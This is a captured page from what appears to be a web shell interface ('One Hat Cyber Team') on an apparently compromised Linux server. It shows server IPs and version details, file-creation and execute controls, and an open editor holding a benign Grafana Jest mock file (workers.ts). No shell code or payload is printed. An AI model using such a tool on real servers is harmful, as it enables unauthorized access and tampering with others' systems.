⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
grafana
/
public
/
test
/
mocks
/
Edit File: workers.ts
import { Config } from 'app/plugins/panel/nodeGraph/layout'; import { EdgeDatum, NodeDatum } from 'app/plugins/panel/nodeGraph/types'; const { layout } = jest.requireActual('../../app/plugins/panel/nodeGraph/layout.worker.js'); class LayoutMockWorker { timeout: number | undefined; constructor() {} postMessage(data: { nodes: NodeDatum[]; edges: EdgeDatum[]; config: Config }) { const { nodes, edges, config } = data; this.timeout = window.setTimeout(() => { this.timeout = undefined; layout(nodes, edges, config); // @ts-ignore this.onmessage({ data: { nodes, edges } }); }, 1); } terminate() { if (this.timeout) { clearTimeout(this.timeout); } } } jest.mock('../../app/plugins/panel/nodeGraph/createLayoutWorker', () => ({ createWorker: () => new LayoutMockWorker(), })); class BasicMockWorker { postMessage() {} } const mockCreateWorker = { createWorker: () => new BasicMockWorker(), }; jest.mock('../../app/features/live/centrifuge/createCentrifugeServiceWorker', () => mockCreateWorker);
Simpan